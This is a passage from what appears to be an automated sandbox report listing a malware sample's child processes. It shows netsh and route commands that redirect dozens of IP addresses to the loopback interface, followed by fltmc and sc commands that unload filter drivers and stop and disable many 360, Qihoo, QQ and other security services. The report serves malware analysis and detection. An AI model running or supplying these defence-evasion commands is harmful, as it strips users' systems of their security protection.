  2⤵
  PID:768
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.143.161 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:972
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.143.161
  2⤵
  PID:4764
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.143.161 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4736
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.143.247 255.255.255.255
  2⤵
  PID:2040
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.143.247
  2⤵
  PID:1196
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.143.247 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1372
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.144.154 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2720
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.144.154
  2⤵
  PID:1056
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.144.154 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4316
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.144.231 255.255.255.255
  2⤵
  PID:4668
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.144.231
  2⤵
  PID:4936
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.144.231 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4296
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.165.85 255.255.255.255
  2⤵
  PID:2548
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.165.85
  2⤵
  PID:2640
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.165.85 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4456
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.167.213 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1604
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.167.213
  2⤵
  PID:2696
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.167.213 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4224
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.177.128 255.255.255.255
  2⤵
  PID:4752
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.177.128
  2⤵
  PID:4324
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.177.128 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2736
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.182.204 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:676
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.182.204
  2⤵
  PID:3744
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.182.204 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2608
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.186.91 255.255.255.255
  2⤵
  PID:3356
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.186.91
  2⤵
  PID:3980
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.186.91 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4964
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.202.159 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4784
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.202.159
  2⤵
  PID:3216
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.202.159 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3092
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.212.166 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1056
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.212.166
  2⤵
  PID:2292
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.212.166 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3040
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.214.182 255.255.255.255
  2⤵
  PID:3052
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.214.182
  2⤵
  PID:4972
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.214.182 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2324
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.214.70 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3696
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.214.70
  2⤵
  PID:2648
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.214.70 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:780
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.215.173 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2856
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.215.173
  2⤵
  PID:4276
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.215.173 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3436
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.217.247 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:4056
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.217.247
  2⤵
  PID:1312
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.217.247 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2116
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 172.67.222.64 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3780
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 172.67.222.64
  2⤵
  PID:4724
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 172.67.222.64 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1280
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 175.24.163.232 255.255.255.255
  2⤵
  PID:2880
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 175.24.163.232
  2⤵
  PID:1080
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 175.24.163.232 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4656
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 202.189.23.191 255.255.255.255
  2⤵
  PID:2720
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 202.189.23.191
  2⤵
  PID:4520
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 202.189.23.191 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4372
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 222.167.33.12 255.255.255.255
  2⤵
  PID:2292
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 222.167.33.12
  2⤵
  PID:4296
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 222.167.33.12 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3052
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 222.167.34.57 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:2536
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 222.167.34.57
  2⤵
  PID:4456
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 222.167.34.57 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4228
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 27.124.41.85 255.255.255.255
  2⤵
  PID:4880
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 27.124.41.85
  2⤵
  PID:1780
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 27.124.41.85 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2668
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 36.51.224.123 255.255.255.255
  2⤵
  PID:4788
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 36.51.224.123
  2⤵
  PID:3868
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 36.51.224.123 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:464
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 36.51.224.126 255.255.255.255
  2⤵
  PID:1312
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 36.51.224.126
  2⤵
  PID:3492
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 36.51.224.126 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4764
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.33.5.156 255.255.255.255
  2⤵
  PID:3336
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.33.5.156
  2⤵
  PID:2440
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.33.5.156 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1200
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.76.195.115 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:1080
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.76.195.115
  2⤵
  PID:4484
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.76.195.115 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1408
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.155 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3964
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.97.254.155
  2⤵
  PID:2932
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.97.254.155 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2416
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.162 255.255.255.255
  2⤵
  PID:380
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.97.254.162
  2⤵
  PID:5000
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.97.254.162 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3044
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.167 255.255.255.255
  2⤵
  PID:2160
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.97.254.167
  2⤵
  PID:1716
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.97.254.167 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4980
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.168 255.255.255.255
  2⤵
  PID:3968
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.97.254.168
  2⤵
  PID:4788
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.97.254.168 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2808
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.183 255.255.255.255
  2⤵
  PID:768
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.97.254.183
  2⤵
  PID:3196
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.97.254.183 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3880
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.184 255.255.255.255
  2⤵
  PID:992
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.97.254.184
  2⤵
  PID:2440
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.97.254.184 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:1200
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.185 255.255.255.255
  2⤵
  PID:1532
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.97.254.185
  2⤵
  PID:4484
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.97.254.185 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2596
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.214 255.255.255.255
  2⤵
  PID:4372
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.97.254.214
  2⤵
  PID:2932
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.97.254.214 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4512
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.219 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3256
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.97.254.219
  2⤵
  PID:2572
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.97.254.219 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3044
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 38.97.254.229 255.255.255.255
  2⤵
  PID:2096
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 38.97.254.229
  2⤵
  PID:3696
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 38.97.254.229 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3872
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 43.153.60.128 255.255.255.255
  2⤵
  PID:4412
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 43.153.60.128
  2⤵
  PID:2332
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 43.153.60.128 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2856
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 43.230.72.70 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3796
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 43.230.72.70
  2⤵
  PID:2632
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 43.230.72.70 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:760
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 45.124.78.109 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3880
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 45.124.78.109
  2⤵
  PID:3788
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 45.124.78.109 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3640
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 45.207.209.119 255.255.255.255
  2⤵
  PID:1200
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 45.207.209.119
  2⤵
  PID:920
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 45.207.209.119 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4888
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 47.242.204.9 255.255.255.255
  2⤵
  PID:4656
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 47.242.204.9
  2⤵
  PID:4108
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 47.242.204.9 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2128
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 49.7.37.74 255.255.255.255
  2⤵
  PID:1768
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 49.7.37.74
  2⤵
  PID:1392
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 49.7.37.74 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:380
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 49.7.37.75 255.255.255.255
  2⤵
  PID:2060
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 49.7.37.75
  2⤵
  PID:4632
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 49.7.37.75 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:4704
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 54.37.225.221 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:412
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 54.37.225.221
  2⤵
  PID:4980
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 54.37.225.221 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:3952
- C:\Windows\SYSTEM32\netsh.exe
  "netsh.exe" interface ipv4 add address "Loopback Pseudo-Interface 1" 94.154.43.130 255.255.255.255
  2⤵
  - Event Triggered Execution: Netsh Helper DLL
  PID:3436
- C:\Windows\SYSTEM32\route.exe
  "route.exe" delete 94.154.43.130
  2⤵
  PID:3868
- C:\Windows\SYSTEM32\route.exe
  "route.exe" add 94.154.43.130 mask 255.255.255.255 127.0.0.1 IF 1 metric 1
  2⤵
  PID:2856
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360AntiSteal
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3796
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360Box64
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3784
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360FsFlt
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4608
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360qpesv
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4724
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360AvFlt
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3416
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload DsArk
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2192
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360Sensor
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1648
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload 360Sensor64
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:2056
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload BAPIDRV
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:744
- C:\Windows\system32\fltmc.exe
  "C:\Windows\system32\fltmc.exe" unload BAPIDRV64
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4968
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop ZhuDongFangYu
  2⤵
  PID:872
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config ZhuDongFangYu start= disabled
  2⤵
  PID:2596
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop Zhudongfangyu
  2⤵
  PID:4372
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config Zhudongfangyu start= disabled
  2⤵
  - Launches sc.exe
  PID:4524
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop DsArk
  2⤵
  - Launches sc.exe
  PID:1360
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config DsArk start= disabled
  2⤵
  PID:1392
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360FsFlt
  2⤵
  PID:2456
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360FsFlt start= disabled
  2⤵
  PID:3012
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AvFlt
  2⤵
  PID:5000
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AvFlt start= disabled
  2⤵
  PID:4652
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360Box64
  2⤵
  - Launches sc.exe
  PID:1780
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360Box64 start= disabled
  2⤵
  - Launches sc.exe
  PID:1716
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AntiSteal
  2⤵
  - Launches sc.exe
  PID:4980
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AntiSteal start= disabled
  2⤵
  - Launches sc.exe
  PID:3728
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360qpesv
  2⤵
  - Launches sc.exe
  PID:3448
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360qpesv start= disabled
  2⤵
  PID:3868
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360Sensor
  2⤵
  - Launches sc.exe
  PID:3968
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360Sensor start= disabled
  2⤵
  PID:3848
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360Sensor64
  2⤵
  - Launches sc.exe
  PID:3912
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360Sensor64 start= disabled
  2⤵
  - Launches sc.exe
  PID:760
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AntiAttack
  2⤵
  - Launches sc.exe
  PID:4736
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AntiAttack start= disabled
  2⤵
  - Launches sc.exe
  PID:3744
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AntiHacker
  2⤵
  PID:1280
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AntiHacker start= disabled
  2⤵
  - Launches sc.exe
  PID:2192
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360SelfProtection
  2⤵
  - Launches sc.exe
  PID:3512
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360SelfProtection start= disabled
  2⤵
  PID:2720
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360rp
  2⤵
  PID:1052
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360rp start= disabled
  2⤵
  PID:2292
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AntiHijack
  2⤵
  PID:4820
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AntiHijack start= disabled
  2⤵
  PID:4644
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360AntiExploit
  2⤵
  - Launches sc.exe
  PID:3040
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360AntiExploit start= disabled
  2⤵
  PID:4208
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360netmon
  2⤵
  PID:1764
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360netmon start= disabled
  2⤵
  - Launches sc.exe
  PID:868
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360Hvm
  2⤵
  PID:4456
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360Hvm start= disabled
  2⤵
  - Launches sc.exe
  PID:3452
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop Q360AMPPL
  2⤵
  - Launches sc.exe
  PID:2648
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config Q360AMPPL start= disabled
  2⤵
  - Launches sc.exe
  PID:2980
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop dsmainsrv
  2⤵
  - Launches sc.exe
  PID:1968
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config dsmainsrv start= disabled
  2⤵
  - Launches sc.exe
  PID:3708
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360elam64
  2⤵
  PID:3412
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360elam64 start= disabled
  2⤵
  - Launches sc.exe
  PID:4048
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360CactusNet
  2⤵
  PID:4276
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360CactusNet start= disabled
  2⤵
  - Launches sc.exe
  PID:4284
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360Camera
  2⤵
  - Launches sc.exe
  PID:2228
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360Camera start= disabled
  2⤵
  PID:3492
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360sd
  2⤵
  PID:1920
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360sd start= disabled
  2⤵
  - Launches sc.exe
  PID:760
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop QHActiveDefense
  2⤵
  PID:2608
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config QHActiveDefense start= disabled
  2⤵
  PID:1848
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360rps
  2⤵
  - Launches sc.exe
  PID:4132
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360rps start= disabled
  2⤵
  PID:4036
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop QQProtect
  2⤵
  PID:2460
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config QQProtect start= disabled
  2⤵
  PID:836
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop QHSafeMain
  2⤵
  - Launches sc.exe
  PID:3240
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config QHSafeMain start= disabled
  2⤵
  - Launches sc.exe
  PID:4668
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360TotalSecurity
  2⤵
  PID:4520
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360TotalSecurity start= disabled
  2⤵
  - Launches sc.exe
  PID:4352
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop 360SafeMain
  2⤵
  PID:4296
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config 360SafeMain start= disabled
  2⤵
  - Launches sc.exe
  PID:4972
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" stop BrowserProtect
  2⤵
  PID:2652
- C:\Windows\system32\sc.exe
  "C:\Windows\system32\sc.exe" config BrowserProtect start= disabled
  2⤵
  - Launches sc.exe
  PID:312
- C:\Windows\system32\sc.exe
